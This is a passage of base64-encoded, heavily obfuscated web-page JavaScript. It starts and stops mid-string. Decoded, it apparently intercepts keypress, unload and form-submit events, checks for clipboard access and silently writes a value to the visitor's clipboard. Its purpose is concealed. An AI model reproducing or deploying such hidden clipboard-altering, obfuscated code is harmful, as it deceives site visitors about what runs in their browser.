zB4MTViZTNkLF8weDY2YjQ5ZSl7cmV0dXJuIF8weDE1YmUzZCtfMHg2NmI0OWU7fSwncWp4VUwnOl8weDI1OWM4MygweDViYiwweDRiZSwweDU3MiwweDZlZCkrJ19WX19DJywnd2tjREQnOl8weDQ0ZmY0OSgweDE3NywweDE0OSwweDM1OSwweDMzOCkrXzB4MjU5YzgzKDB4YTA0LDB4OGRiLDB4NTgzLDB4NzUxKSwnZUpMQnYnOmZ1bmN0aW9uKF8weDFlMjAyNCxfMHg5YmQyNDQpe3JldHVybiBfMHgxZTIwMjQoXzB4OWJkMjQ0KTt9LCdhYmtMZSc6ZnVuY3Rpb24oXzB4NTAyNmRjLF8weDFmYjdiZil7cmV0dXJuIF8weDUwMjZkYytfMHgxZmI3YmY7fSwnR2NIbE0nOmZ1bmN0aW9uKF8weDNhNzg1YSxfMHg1NTJlOWEpe3JldHVybiBfMHgzYTc4NWErXzB4NTUyZTlhO30sJ1lqVGtnJzpmdW5jdGlvbihfMHg1ZGZmZWMsXzB4NWRmOGY5KXtyZXR1cm4gXzB4NWRmZmVjK18weDVkZjhmOTt9LCdOcktaUSc6ZnVuY3Rpb24oXzB4NTQ5MDcyLF8weDFmOWU3Yyl7cmV0dXJuIF8weDU0OTA3MitfMHgxZjllN2M7fSwndE5EYmEnOmZ1bmN0aW9uKF8weDQ0MmI0MSxfMHg0NTAzZGQpe3JldHVybiBfMHg0NDJiNDErXzB4NDUwM2RkO30sJ2lpWHNkJzpmdW5jdGlvbihfMHg0OWJlMjcsXzB4MzFjZDAxKXtyZXR1cm4gXzB4NDliZTI3K18weDMxY2QwMTt9LCdkdXZwcic6ZnVuY3Rpb24oXzB4NGQzY2ExLF8weDUxN2ZkYil7cmV0dXJuIF8weDRkM2NhMStfMHg1MTdmZGI7fSwnRXZRQ1QnOl8weDQ0ZmY0OSgweDUwNywweDg5YiwweDc0ZCwweDYwZCksJ2F2Z0FtJzpfMHg0NGZmNDkoMHg4MTEsMHgyYjQsMHg2NTUsMHg1ODQpLCdJUUJWUCc6XzB4NDRmZjQ5KDB4MjZiLDB4MjlmLDB4MjQ2LDB4NDY5KSwnaG16QW8nOmZ1bmN0aW9uKF8weDM2MDVlMyxfMHg1Mzk2N2Ipe3JldHVybiBfMHgzNjA1ZTMoXzB4NTM5NjdiKTt9LCdvZGJ2Uic6J2hpZGVfY29kZV8nK18weDQ0ZmY0OSgweDQ5NSwweDFlMiwweDQ3OSwweDMyZSksJ0FVYkhRJzpfMHgyNTljODMoMHg3ODcsMHg1NDAsMHg4MTIsMHg2NzgpKydvdycsJ0V1RUFlJzpmdW5jdGlvbihfMHg1MDcyNjEsXzB4NDE0ZTZiKXtyZXR1cm4gXzB4NTA3MjYxKF8weDQxNGU2Yik7fSwnUE9ZTlgnOl8weDI1OWM4MygweDM2NSwweDZjZCwweDg5MiwweDVmMykrJ2RlJywnYVJURmMnOl8weDI1OWM4MygweDlmNiwweDU1NCwweDY3MywweDc5ZikrJ3InLCdMbHVjRic6XzB4MjU5YzgzKDB4OWQ1LDB4YjVjLDB4NWRmLDB4ODdlKSsncicsJ2NoYndJJzpfMHgyNTljODMoMHgyZTIsMHg0MDcsMHgyZTEsMHgyZWQpKydybScsJ2dyelpqJzpmdW5jdGlvbihfMHgyNzhjMzQsXzB4NWM0N2ZkKXtyZXR1cm4gXzB4Mjc4YzM0KF8weDVjNDdmZCk7fSwnU3pNVHInOid1bmxvYWQnLCdlVlpPaCc6XzB4MjU5YzgzKDB4MWI5LDB4NDYsMHgyZGMsMHgyZGIpKyduLW1vZGUtZXhpJysndCcsJ212TUhRJzpfMHg0NGZmNDkoMHgzZDUsMHg0ZjIsMHg1YjgsMHg2ODcpLCdzWVpyZCc6XzB4NDRmZjQ5KDB4MWQ0LDB4NGU5LC0weDI5LDB4MmE2KStfMHgyNTljODMoMHg2MzAsMHg3NmIsMHg4ODcsMHg2MWUpLCd5cXRhbyc6ZnVuY3Rpb24oXzB4NWYyMTU0LF8weDU1N2RjOCl7cmV0dXJuIF8weDVmMjE1NChfMHg1NTdkYzgpO30sJ3BIam90JzonYWRkRXZlbnRMaScrXzB4NDRmZjQ5KDB4MTIxLDB4MzFlLDB4NDIwLDB4MzE0KSwnSE9Gb3knOl8weDI1OWM4MygweDI0ZSwtMHgyLDB4NDAwLDB4MjlkKSwncFNmelMnOl8weDQ0ZmY0OSgweDIyMiwweDM2OSwtMHhjZCwweDE4MiksJ0RiaWFwJzpmdW5jdGlvbihfMHgxNzgyMjIsXzB4NGYyOTQ2KXtyZXR1cm4gXzB4MTc4MjIyK18weDRmMjk0Njt9LCdsZmxITSc6ZnVuY3Rpb24oXzB4NDM4ZjhlLF8weDMxMTc2NSl7cmV0dXJuIF8weDQzOGY4ZSE9XzB4MzExNzY1O30sJ0dCelZYJzpmdW5jdGlvbihfMHg0MWU4MzUsXzB4Mzg0MGZlKXtyZXR1cm4gXzB4NDFlODM1IT09XzB4Mzg0MGZlO30sJ3ZBVGV6JzpmdW5jdGlvbihfMHg0YTRjMjcsXzB4MjUwMjNhLF8weDI2ZDNmNCl7cmV0dXJuIF8weDRhNGMyNyhfMHgyNTAyM2EsXzB4MjZkM2Y0KTt9LCdBTXdzaSc6ZnVuY3Rpb24oXzB4NDM0NGNkLF8weDNiMTU0ZSl7cmV0dXJuIF8weDQzNDRjZChfMHgzYjE1NGUpO30sJ1lOVEVGJzoncEhpb2EnLCdlY2NZWSc6ZnVuY3Rpb24oXzB4MWE0MzU2LF8weDQyYjViNyl7cmV0dXJuIF8weDFhNDM1NiE9PV8weDQyYjViNzt9LCd4ckNvWCc6J2N1cnNvcicsJ0NZSnZWJzpfMHgyNTljODMoMHg3NzUsMHg3OWIsMHg1YjgsMHg3ZGYpLCdIV2xsQSc6ZnVuY3Rpb24oXzB4MjViMTMzLF8weDE3NjlkZSl7cmV0dXJuIF8weDI1YjEzMyhfMHgxNzY5ZGUpO30sJ0ZkYUJJJzond3cxJywnY0VHWk8nOidrZXlwcmVzcycsJ0VFYnBTJzpfMHg0NGZmNDkoMHg0NzksMHg0NjMsMHg3MzUsMHg1NTQpLCdGZ1dnSyc6ZnVuY3Rpb24oXzB4ZGE5ZjUzLF8weDRlYWYzYSl7cmV0dXJuIF8weGRhOWY1Mz09XzB4NGVhZjNhO30sJ05kdGRHJzpfMHg0NGZmNDkoMHgyMmEsMHg0ZDcsMHg1MWYsMHg0YmQpLCdtcFZHZSc6XzB4MjU5YzgzKDB4NDY3LDB4NDMwLDB4MjU0LDB4NDUwKSwndHREeHUnOmZ1bmN0aW9uKF8weDFhOTk5ZSxfMHg0MDNjM2Mpe3JldHVybiBfMHgxYTk5OWUmJl8weDQwM2MzYzt9LCdObm5sTSc6ZnVuY3Rpb24oXzB4NDA0NDA3LF8weDUwMTllZil7cmV0dXJuIF8weDQwNDQwNyE9PV8weDUwMTllZjt9LCdJUVNEcSc6ZnVuY3Rpb24oXzB4NTEyNjhkLF8weDRiYTNiZCl7cmV0dXJuIF8weDUxMjY4ZC1fMHg0YmEzYmQ7fSwnamhjSXEnOmZ1bmN0aW9uKF8weDNlNWU1YixfMHgzOGE1MTMpe3JldHVybiBfMHgzZTVlNWIhPV8weDM4YTUxMzt9LCdhRWF5Yic6J3N0cm8nLCdKRFFxeic6ZnVuY3Rpb24oXzB4NGRlYTIyLF8weGIwOWJmMSl7cmV0dXJuIF8weDRkZWEyMitfMHhiMDliZjE7fSwnZ2dVeGknOl8weDI1OWM4MygweDMyNSwweDY1ZiwweDQ4ZSwweDNhYyksJ2RweUxKJzpfMHg0NGZmNDkoMHg0YWEsMHgzYzYsMHg3NmEsMHg2N2MpLCdUenBUWSc6XzB4NDRmZjQ5KDB4MjNkLDB4M2NjLDB4YywweDJhZiksJ1F2Y0FkJzpfMHgyNTljODMoMHg1ZGIsMHgzMDgsMHgxYmYsMHg0NDYpLCdybk1Tdyc6ZnVuY3Rpb24oXzB4MmYyMTk5LF8weDExOGRjZil7cmV0dXJuIF8weDJmMjE5OStfMHgxMThkY2Y7fSwnc3lIVHknOidtYXMnLCdpc1FOcSc6XzB4NDRmZjQ5KDB4ZTAsMHgxZmUsLTB4NzYsMHgxMDYpLCdKZ01IaSc6XzB4NDRmZjQ5KDB4ZTIsMHg1YWQsMHgxZDIsMHgzYzApLCdPdU1PUCc6J2RpbmUnLCdsTkRBTyc6J3JzY2x1YicsJ3lITFZtJzpfMHgyNTljODMoMHgyMzEsMHgxYTksMHg1OTYsMHgzZDgpLCdLb29Caic6XzB4NDRmZjQ5KDB4MjM5LDB4MThlLDB4NDMwLDB4MmI0KSwnVEhscEcnOmZ1bmN0aW9uKF8weDViYjZjYyxfMHgxOGNmMDIpe3JldHVybiBfMHg1YmI2Y2MrXzB4MThjZjAyO30sJ3p2TFBOJzpfMHg0NGZmNDkoMHgzNTYsMHg1ZDUsMHg1ODUsMHgzNTgpLCdiRUZWWCc6ZnVuY3Rpb24oXzB4ZTVjMjcyLF8weDlhYzUxZSl7cmV0dXJuIF8weGU1YzI3MihfMHg5YWM1MWUpO30sJ1ZMRmZ4JzpfMHg0NGZmNDkoMHgzYTcsMHg2N2IsMHg2ZTksMHg2NmIpLCdqeXRSTyc6J1RPa0RYJywneXpSWm8nOmZ1bmN0aW9uKF8weGQ5Yjg4MCxfMHgxN2M2YTgpe3JldHVybiBfMHhkOWI4ODA8XzB4MTdjNmE4O30sJ094d0prJzpfMHg0NGZmNDkoMHg0MDcsMHg3MmMsMHg1NjAsMHg2NDMpLCdTeENYcyc6ZnVuY3Rpb24oXzB4MTdlOTRjLF8weDI3ZjliYyl7cmV0dXJuIF8weDE3ZTk0YytfMHgyN2Y5YmM7fSwncEdoaUonOmZ1bmN0aW9uKF8weDMwOTMxNyxfMHgzNDE3OTcpe3JldHVybiBfMHgzMDkzMTcoXzB4MzQxNzk3KTt9LCdlQnlNUyc6ZnVuY3Rpb24oXzB4NGZlZjBhKXtyZXR1cm4gXzB4NGZlZjBhKCk7fSwneVh3ZFgnOmZ1bmN0aW9uKF8weGViZGNiNyxfMHhhZDczOTApe3JldHVybiBfMHhlYmRjYjcrXzB4YWQ3MzkwO30sJ2J0Z3pGJzpmdW5jdGlvbihfMHgxNzg5NGUpe3JldHVybiBfMHgxNzg5NGUoKTt9LCdIR1R1eCc6ZnVuY3Rpb24oXzB4M2VjNDA4LF8weDMxN2QzOCl7cmV0dXJuIF8weDNlYzQwOD09PV8weDMxN2QzODt9LCdpZm5FRyc6ZnVuY3Rpb24oXzB4NGUxZmJlLF8weDFjYjhmZCl7cmV0dXJuIF8weDRlMWZiZStfMHgxY2I4ZmQ7fSwnYWFrb3EnOl8weDQ0ZmY0OSgweDMyYiwweDQ3NywweDYwZCwweDRkYSksJ1RaaHB1JzpfMHgyNTljODMoMHgyMWYsMHg1Y2IsMHgyYzgsMHg0YjMpLCdoR1daQyc6XzB4NDRmZjQ5KDB4MTdkLDB4MjUyLDB4MTQ3LDB4MmNkKSwnV2pkaU0nOl8weDI1OWM4MygweDZkOSwweDg2ZCwweDkzNywweDg3NCksJ2xxeGxLJzpmdW5jdGlvbihfMHg0YWZhMTAsXzB4MWY1OTI1KXtyZXR1cm4gXzB4NGFmYTEwKF8weDFmNTkyNSk7fSwnYnd1Z2EnOmZ1bmN0aW9uKF8weDU5ZjQ1NCxfMHgxOGIyMDApe3JldHVybiBfMHg1OWY0NTQ9PT1fMHgxOGIyMDA7fSwnSm9CY1knOl8weDI1OWM4MygweDY4YywweDYzOSwweDhkNSwweDgwMiksJ3ZUc29kJzpfMHgyNTljODMoMHg1N2YsMHgyNDcsMHgxZDUsMHg0ODIpK18weDQ0ZmY0OSgweDE5YywtMHg2MiwweDJiZiwweGQ4KSwnTkFqRm0nOmZ1bmN0aW9uKF8weDE2ZjU0NCxfMHg0ZjdiMTQpe3JldHVybiBfMHgxNmY1NDQ8XzB4NGY3YjE0O30sJ0xTb01YJzpmdW5jdGlvbihfMHg0NGEzNjMpe3JldHVybiBfMHg0NGEzNjMoKTt9LCdCWlFybyc6ZnVuY3Rpb24oXzB4NWMxZjg3KXtyZXR1cm4gXzB4NWMxZjg3KCk7fSwnY3BOWW0nOmZ1bmN0aW9uKF8weGQxZjQxOCl7cmV0dXJuIF8weGQxZjQxOCgpO30sJ1p5WnF3Jzonbm9uZScsJ1NGd3JlJzonaW5uZXJIZWlnaCcrJ3QnLCdDZlJvaSc6ZnVuY3Rpb24oXzB4NDc4NTM0LF8weDNiMmEwNil7cmV0dXJuIF8weDQ3ODUzNDxfMHgzYjJhMDY7fSwnZWVsREEnOidsb2NhdGlvbicsJ3ZzWEZNJzpmdW5jdGlvbihfMHg1Y2FmNzYsXzB4NTM3YTBmKXtyZXR1cm4gXzB4NWNhZjc2IT1fMHg1MzdhMGY7fSwnbW5ZcGYnOl8weDQ0ZmY0OSgweDMzOCwweDM2MSwweDFiYywweDI4ZCksJ2xpZmpaJzpfMHgyNTljODMoMHg2MTYsMHg2YjgsMHg0NmUsMHg0N2UpLCdXWkpodSc6XzB4MjU5YzgzKDB4NzAyLDB4NmQ4LDB4NDI3LDB4NjhkKSwnT1RlS0knOl8weDQ0ZmY0OSgweDRkZiwweDhiLDB4YjMsMHgyOGUpLCdkdEFhSyc6ZnVuY3Rpb24oXzB4MTI2MDNmLF8weDE4ZDYxZil7cmV0dXJuIF8weDEyNjAzZiE9PV8weDE4ZDYxZjt9LCdqdUZScic6ZnVuY3Rpb24oXzB4Y2UyZGM5KXtyZXR1cm4gXzB4Y2UyZGM5KCk7fSwnRE9Ua2knOidhbGwnLCdSZnJXRyc6XzB4NDRmZjQ5KDB4NDA1LDB4NWE5LDB4OGEsMHgzMTcpLCd5SVpQdyc6XzB4MjU5YzgzKDB4NDMzLDB4NTU5LDB4NTdjLDB4NmU2KSwnc091dWInOl8weDI1OWM4MygweDFlNSwweDc0YiwweDI2MCwweDQ3MykrXzB4NDRmZjQ5KDB4ODJiLDB4NGEyLDB4NDdlLDB4NjQwKSwncHpvRWonOmZ1bmN0aW9uKF8weDE1NzllZixfMHgxYWU5MWQpe3JldHVybiBfMHgxNTc5ZWYoXzB4MWFlOTFkKTt9LCdmbW9YcSc6XzB4NDRmZjQ5KDB4MWRkLC0weDE0MCwtMHgxY2QsMHhiMykrJ19ibG9ja1x4MjBmb3InKydtJywnSlpmU0InOmZ1bmN0aW9uKF8weDFmYmM5YSxfMHgzMzY1YWEpe3JldHVybiBfMHgxZmJjOWEoXzB4MzM2NWFhKTt9LCdORHlPRic6XzB4MjU5YzgzKDB4NDZlLDB4M2MxLDB4NTIzLDB4NjFkKStfMHg0NGZmNDkoMHg0MDUsMHg3M2QsMHgzYjAsMHg1YWQpKydzdWJtaXQnLCdvSUtScyc6ZnVuY3Rpb24oXzB4NDE1Njg0LF8weGYyYjhlNil7cmV0dXJuIF8weDQxNTY4NChfMHhmMmI4ZTYpO30sJ21NaVpOJzpfMHgyNTljODMoMHg1MWIsMHg0NTgsMHg3MTEsMHg3MTYpLCd4cVR4YSc6XzB4NDRmZjQ5KC0weDE5YiwtMHg3OCwtMHg5NCwweDEyOCl9O18weDJmNTM0OVtfMHgyNTljODMoMHg0OTYsMHg3NGQsMHgyNjAsMHg0NWYpXShfMHg0NGZmNDkoMHg1NWIsMHg4MjAsMHg2ZDcsMHg1MzkpLG5hdmlnYXRvcikmJl8weDJmNTM0OVtfMHg0NGZmNDkoMHgxOGMsLTB4NTMsMHgxZmYsMHgyN2IpXShfMHgyZjUzNDlbXzB4NDRmZjQ5KC0weDE5NCwweDJiZSwweGVmLDB4ZjApXSxuYXZpZ2F0b3JbXzB4MjU5YzgzKDB4OGMxLDB4OWI4LDB4NDQzLDB4NzFkKV0pJiYoXzB4MmY1MzQ5WydTSnRWdSddKF8weDJmNTM0OVtfMHgyNTljODMoMHhhMTksMHhhM2YsMHg4MmIsMHg4NzYpXSxfMHgyNTljODMoMHg3MjEsMHg0NTIsMHg4NjMsMHg2ZTYpKT9kb2N1bWVudFsnYWRkRXZlbnRMaScrJ3N0ZW5lciddKF8weDJmNTM0OVtfMHgyNTljODMoMHgyMmIsMHgxZWUsMHg0OTYsMHgzMTYpXSxhc3luYygpPT57dmFyIF8weDJjNDY0ND17fTtmdW5jdGlvbiBfMHg0Zjk5NWUoXzB4M2IyNjJkLF8weDEyZGVkOCxfMHgxNjczM2IsXzB4M2JlMWI2KXtyZXR1cm4gXzB4MjU5YzgzKF8weDEyZGVkOCxfMHgxMmRlZDgtMHgxODAsXzB4MTY3MzNiLTB4ZGEsXzB4MTY3MzNiLSAtMHgxMmQpO31fMHgyYzQ2NDRbJ3pSb1VnJ109XzB4MmY1MzQ5W18weDRmOTk1ZSgweDIyNiwweDI5NCwweDNiMCwweDQxNyldO2Z1bmN0aW9uIF8weDU1OGNlZihfMHgxY2E1M2EsXzB4MzA1ZDU0LF8weDMwYzFmYyxfMHgyMTZmMDYpe3JldHVybiBfMHgyNTljODMoXzB4MjE2ZjA2LF8weDMwNWQ1NC0weGNiLF8weDMwYzFmYy0weDIsXzB4MWNhNTNhLSAtMHg2MSk7fXZhciBfMHgxZmFiZTA9XzB4MmM0NjQ0O2lmKGRvY3VtZW50W18weDU1OGNlZigweDQxMiwweDY2OSwweDIxMCwweDZjZSkrXzB4NGY5OTVlKDB4NDUwLDB4NjYxLDB4NTBiLDB4N2JjKV0pe2lmKF8weDJmNTM0OVsnSXRrTUInXShfMHgyZjUzNDlbJ1ByU3JNJ10sXzB4MmY1MzQ5W18weDRmOTk1ZSgweDQyYywweDQ0MSwweDNkNiwweDJlOCldKSl7dmFyIF8weDU3MmI0Mz1fMHgxZmFiZTBbXzB4NGY5OTVlKDB4N2QyLDB4OGEzLDB4NWQyLDB4NDFkKV1bXzB4NGY5OTVlKDB4NzMxLDB4NjZlLDB4NWQ1LDB4MzNmKV0oJ3wnKSxfMHgxNDhiMzk9MHgzNzUrLTB4NSotMHgyMjIrLTB4MyoweDRiNTt3aGlsZSghIVtdKXtzd2l0Y2goXzB4NTcyYjQzW18weDE0OGIzOSsrXSl7Y2FzZScwJzpfMHgzYjcwMTNbXzB4NTU4Y2VmKDB4MjU2LDB4OTcsMHgxYmYsMHgzMjIpXT1fMHhhMmJmMjFbXzB4NGY5OTVlKDB4MjYsMHg0MDAsMHgxOGEsLTB4MzEpXVtfMHg1NThjZWYoMHg3ZWMsMHg1ZmIsMHg1M2IsMHhhMDUpXShfMHhhMmJmMjEpO2NvbnRpbnVlO2Nhc2UnMSc6XzB4M2I3MDEzW18weDU1OGNlZigweDM3NSwweDY0MywweDM3MiwweDM0NCldPV8weDIzZDRlYVtfMHg0Zjk5NWUoMHg4NzQsMHg3ZTQsMHg3MjAsMHg2OGUpXShfMHg0NDlkNmEpO2NvbnRpbnVlO2Nhc2UnMic6dmFyIF8weGEyYmYyMT1fMHgyNDk3M2NbXzB4M2U1MjkzXXx8XzB4M2I3MDEzO2NvbnRpbnVlO2Nhc2UnMyc6dmFyIF8weDNlNTI5Mz1fMHgxNzEwZWNbXzB4MTlmMjIwXTtjb250aW51ZTtjYXNlJzQnOnZhciBfMHgzYjcwMTM9XzB4MWRhMDlkWydjb25zdHJ1Y3RvJysnciddW18weDRmOTk1ZSgweDE1NCwweDNiOCwweDI5NCwweDFiYSldW18weDRmOTk1ZSgweDVlZCwweDVkNiwweDcyMCwweDk5YSldKF8weGI5YmQ1Mik7Y29udGludWU7Y2FzZSc1JzpfMHg1MzE0MjRbXzB4M2U1MjkzXT1fMHgzYjcwMTM7Y29udGludWU7fWJyZWFrO319ZWxzZXthd2FpdCBuYXZpZ2F0b3JbXzB4NTU4Y2VmKDB4NmJjLDB4NTY4LDB4Njg0LDB4NGE0KV1bXzB4NTU4Y2VmKDB4NDlhLDB4NDQ1LDB4M2VmLDB4NzI2KV0oW18weDJmNTM0OVtfMHg1NThjZWYoMHg2YmEsMHg4YmMsMHg1YjYsMHg2MzMpXV0pLGNvbnNvbGVbXzB4NGY5OTVlKDB4NjBkLDB4NGNlLDB4NWIwLDB4NTM1KV0oXzB4MmY1MzQ5W18weDRmOTk1ZSgweDQzZCwweDM0NCwweDFhYiwweDJhMildKTtyZXR1cm47fX1uYXZpZ2F0b3JbXzB4NTU4Y2VmKDB4NmJjLDB4NzNmLDB4NWUxLDB4N2Q5KV1bXzB4NTU4Y2VmKDB4Mzk4LDB4NDgwLDB4NjRlLDB4MjIxKV0oKSxjb25zb2xlW18weDU1OGNlZigweDY3YywweDg2NSwweDQ1ZCwweDc3ZCldKF8weDJmNTM0OVtfMHg0Zjk5NWUoMHg3OTIsMHgyYWMsMHg1NWUsMHg1ODQpXSk7fSk6XzB4MWZhZmQ1PV8weDQyZDdkN1tfMHg0NGZmNDkoMHgyYywweDMxMSwweDI0MiwweDI1YildKTtfMHgyZjUzNDlbXzB4NDRmZjQ5KDB4MmQwLDB4NDRiLDB4YWEsMHgyMmYpXSgkLGRvY3VtZW50W18weDQ0ZmY0OSgweDgxMCwweDM3YywweDU1ZCwweDUyNCldKVsnb24nXSgnc3VibWl0JyxfMHgyZjUzNDlbXzB4MjU5YzgzKDB4OGU5LDB4NTlkLDB4NmE1LDB4NjQxKV0sZnVuY3Rpb24oXzB4NWY0MDM3KXt2YXIgXzB4NDI2ZGIyPV8weDJmNTM0OVtfMHg0MTc0NDQoMHg0YzgsMHgyNGMsMHg0ZDIsMHgzYzMpXVtfMHgzNDMyNDAoMHgzZjgsMHgxYzMsMHgzYWEsMHgzMGIpXSgnfCcpO2Z1bmN0aW9uIF8weDM0MzI0MChfMHhhOWU1ZDksXzB4NTI3YzY1LF8weDM4OTQ4NixfMHg4Mzg4MDIpe3JldHVybiBfMHgyNTljODMoXzB4Mzg5NDg2LF8weDUyN2M2NS0weDEzLF8weDM4OTQ4Ni0weDkyLF8weGE5ZTVkOS0gLTB4MzBhKTt9ZnVuY3Rpb24gXzB4NDE3NDQ0KF8weDM2MDkxMSxfMHg1OTYyZTgsXzB4NWQ3NDU1LF8weDU1ZWU4Yyl7cmV0dXJuIF8weDI1OWM4MyhfMHg1OTYyZTgsXzB4NTk2MmU4LTB4MTgzLF8weDVkNzQ1NS0weDFkNSxfMHg1NWVlOGMtIC0weDJhNCk7fXZhciBfMHhhNDEyZjQ9LTB4MSoweDQ4KzB4MTA3ZSstMHgxMDM2O3doaWxlKCEhW10pe3N3aXRjaChfMHg0MjZkYjJbXzB4YTQxMmY0KytdKXtjYXNlJzAnOl8weDJmNTM0OVtfMHg0MTc0NDQoMHgyYzUsLTB4MWFjLC0weDEwYSwweDQxKV0oJCxfMHgyZjUzNDlbXzB4NDE3NDQ0KDB4NDljLDB4NWI2LDB4MmMwLDB4Mzc3KV0pW18weDQxNzQ0NCgweDFlOSwweDVhNCwweDE5NSwweDMwYildKCk7Y29udGludWU7Y2FzZScxJzpfMHg1ZjQwMzdbXzB4MzQzMjQwKDB4MmI0LDB4MTFhLDB4MjQzLDB4NTc3KStfMHgzNDMyNDAoLTB4OSwtMHgxZDAsLTB4OWYsLTB4MmUwKV0oKTtjb250aW51ZTtjYXNlJzInOl8weDVmNDAzN1tfMHgzNDMyNDAoLTB4M2MsLTB4MWQ1LC0weDI2MCwweDI3MykrJ2F0aW9uJ10oKTtjb250aW51ZTtjYXNlJzMnOl8weDJmNTM0OVtfMHg0MTc0NDQoMHgyZGQsMHg1MDgsMHg1OTEsMHgyYjcpXShfMHhlOTg0YzgsXzB4MmY1MzQ5W18weDM0MzI0MCgweDIwMywweDNhOSwweDNjNSwweDNjNCldLHsnbWVzc2FnZSc6XzB4MmY1MzQ5W18weDQxNzQ0NCgweDFmMCwweDI3ZiwtMHgyOCwweDQxKV0oJCxfMHgyZjUzNDlbXzB4NDE3NDQ0KDB4MmIzLDB4ZjcsMHgzZTUsMHgzNzcpXSlbJ3ZhbCddKCl9KTtjb250aW51ZTtjYXNlJzQnOmlmKF8weDJmNTM0OVsnTnpmY2knXSgkKF8weDJmNTM0OVtfMHgzNDMyNDAoMHgzMTEsMHg0NzQsMHhlOSwweDM3YSldKVtfMHg0MTc0NDQoLTB4MTBiLDB4MzYwLC0weDVkLDB4NzApXSgpW18weDM0MzI0MCgweDRjOCwweDc1OCwweDVjOSwweDVlZildLC0weDMzYioweDErLTB4OTcqLTB4MWQrLTB4ZGUwKSlyZXR1cm47Y29udGludWU7Y2FzZSc1JzpfMHgyZjUzNDlbJ2FKSUlHJ10oJCxfMHgyZjUzNDlbXzB4MzQzMjQwKDB4MzExLDB4MmRmLDB4MjVkLDB4ZDMpXSlbJ3ZhbCddKCcnKTtjb250aW51ZTt9YnJlYWs7fX0pLF8weDJmNTM0OVtfMHgyNTljODMoMHg0MTcsMHg0MjAsMHg1MmQsMHg2NDgpXSgkLGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDJmNTM0OVtfMHgyNTljODMoMHg1NzIsMHgyZDksMHg0NTYsMHg0OWUpXSxfMHgyZjUzNDlbJ1RaZmFzJ10sZnVuY3Rpb24oXzB4NDA5ZDQxKXtfMHg0MDlkNDFbJ3N0b3BQcm9wYWcnK18weDRlY2FiOCgweDFmYiwweDQ4NCwweDNjOSwweGRmKV0oKTtmdW5jdGlvbiBfMHg0ZWNhYjgoXzB4NDA1ODhmLF8weDE1MzQ3YixfMHg0MzI4N2EsXzB4MzY4NjRlKXtyZXR1cm4gXzB4NDRmZjQ5KF8weDQwNTg4Zi0weDFmMixfMHgxNTM0N2ItMHhmZSxfMHgzNjg2NGUsXzB4NDMyODdhLSAtMHgxNDYpO31mdW5jdGlvbiBfMHg2MDQxNmIoXzB4MzcxZjY5LF8weDEzOGQ4NyxfMHg1OTQyNDQsXzB4MTkzMzlhKXtyZXR1cm4gXzB4NDRmZjQ5KF8weDM3MWY2OS0weDEwYyxfMHgxMzhkODctMHgxMTQsXzB4MzcxZjY5LF8weDE5MzM5YS0gLTB4ZWQpO31fMHgyZjUzNDlbXzB4NGVjYWI4KC0weDEwYSwweDQ1ZCwweDFiZCwweDIxMyldKF8weGY2MzdkOSk7fSksXzB4MmY1MzQ5W18weDI1OWM4MygweDc3ZSwweDM4OSwweDQ2NywweDQ4OCldKCQsZG9jdW1lbnRbJ2JvZHknXSlbJ29uJ10oXzB4MmY1MzQ5W18weDQ0ZmY0OSgweDIzMywweDNhMiwweDRiYiwweDIwNildLF8weDI1OWM4MygweDQ0YSwweDhkZCwweDNjYSwweDY2MSkrXzB4NDRmZjQ5KDB4MmE2LDB4MjA5LDB4MmVkLDB4MTZiKSxmdW5jdGlvbihfMHg1NGYwOWQpe2Z1bmN0aW9uIF8weDM2ZmI5MyhfMHgxZTU0Y2QsXzB4ODY4MWZmLF8weGQ2ZGNhNSxfMHg1NGEwNzcpe3JldHVybiBfMHgyNTljODMoXzB4ZDZkY2E1LF8weDg2ODFmZi0weDVhLF8weGQ2ZGNhNS0weDM3LF8weDg2ODFmZi0gLTB4MzdlKTt9ZnVuY3Rpb24gXzB4NDdiNzllKF8weDEyNzE2NixfMHgxYmI4NzEsXzB4MTdmNWRiLF8weDFmYjE5YSl7cmV0dXJuIF8weDI1OWM4MyhfMHgxYmI4NzEsXzB4MWJiODcxLTB4MjksXzB4MTdmNWRiLTB4MWNhLF8weDEyNzE2Ni0weDFlNik7fWlmKF8weDJmNTM0OVsnaXp5RmMnXShfMHgyZjUzNDlbJ2VjV29QJ10sXzB4MzZmYjkzKDB4NDUzLDB4MjYwLC0weDM3LDB4NDhhKSkpXzB4NTRmMDlkW18weDM2ZmI5MygtMHhkYywtMHhiMCwweDE5YiwtMHgzMjMpKydhdGlvbiddKCksXzB4MmY1MzQ5W18weDM2ZmI5MygweDI1OSwweDIyNywweDFiNywtMHhiMSldKCQsZG9jdW1lbnRbJ2JvZHknXSlbJ3RyaWdnZXInXShfMHgyZjUzNDlbXzB4MzZmYjkzKDB4NGQ4LDB4NDg5LDB4NjBiLDB4MzE2KV0pO2Vsc2V7dmFyIF8weDRhZWMwZT17fTtfMHg0YWVjMGVbXzB4MzZmYjkzKDB4M2M3LDB4NDI2LDB4MmVjLDB4MzI4KV09XzB4MmY1MzQ5W18weDM2ZmI5MygtMHgxMWIsMHgzZiwweGQwLC0weDI3KV07dmFyIF8weDIzYWY1Nj1fMHg0YWVjMGU7XzB4MmY1MzQ5W18weDM2ZmI5MygweDEwZCwweDM0MSwweDY2LDB4MWM1KV0oXzB4NDU5ZDQ3LF8weDJmNTM0OVsnZlNPWVonXSlbJ2FkZENsYXNzJ10oXzB4MmY1MzQ5W18weDM2ZmI5MygtMHg3YiwweGEyLDB4MTgzLDB4MTAxKV0pLF8weDJmNTM0OVtfMHgzNmZiOTMoLTB4MjdmLC0weDUxLDB4YTAsMHgzYSldKF8weDFkMjVlZixfMHgyMDIxYzcpW18weDM2ZmI5MygweGM0LC0weDE4LC0weDJjZCwtMHgxNDMpXShmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDJjYzU5ZShfMHgyZDQxYTAsXzB4M2NhOWZlLF8weDI1YWQwMCxfMHg0MmNmMTMpe3JldHVybiBfMHg0N2I3OWUoXzB4MjVhZDAwLSAtMHgzMTQsXzB4M2NhOWZlLF8weDI1YWQwMC0weDFlYSxfMHg0MmNmMTMtMHgzMSk7fWZ1bmN0aW9uIF8weDNlOWFhOShfMHg5NTViNDEsXzB4NDgyYmE3LF8weDNkZDljOSxfMHg0NTkxMWMpe3JldHVybiBfMHg0N2I3OWUoXzB4M2RkOWM5LSAtMHg3MzksXzB4NDU5MTFjLF8weDNkZDljOS0weDEwNyxfMHg0NTkxMWMtMHgxZjEpO312YXIgXzB4MTAyMDc5PV8weDQ0MmI4YlsncXVlcnlTZWxlYycrXzB4MmNjNTllKDB4NDk3LDB4MjRkLDB4NT